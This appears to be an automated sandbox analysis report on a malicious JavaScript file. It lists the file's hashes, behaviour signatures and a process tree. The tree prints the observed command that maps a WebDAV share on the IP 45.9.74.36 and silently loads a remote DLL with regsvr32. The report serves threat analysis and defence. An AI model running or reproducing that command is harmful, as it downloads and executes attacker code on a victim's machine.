Analysis

  • max time kernel
    138s
  • max time network
    102s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/07/2024, 17:41

General

  • Target

    28499241435478958.js

  • Size

    5KB

  • MD5

    e0acf6e19eb1e0f27f46caec63a861ba

  • SHA1

    e6407b53ecd318cd5840622fb80dff6fca71ff5b

  • SHA256

    92e551408dcfc7c44657c8e5fc4a56208994c9a7b1236dd13ee03dad8860f171

  • SHA512

    71a8d8a37e56bb79af79ffe2d81577f7c6a5c813cf0fffa0dfa14a92c84f998ec92183016b1a20d597c994d640688e41f086d02c31fa55b8cfa8b9495097522f

  • SSDEEP

    96:5dARpoUbB2VLuG30tKuBquGm2bGuTsMzbbAkROzbbT:5dAfbcVLN30tKyqNmsGkRzbbAkczbbT

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\28499241435478958.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3604
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\9721249505395.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1824
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:3920

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads